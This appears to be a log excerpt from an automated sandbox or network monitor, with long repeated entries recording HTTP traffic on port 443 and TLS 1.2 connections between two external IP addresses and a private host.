Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50257
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443

Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49838 version: TLS 1.2
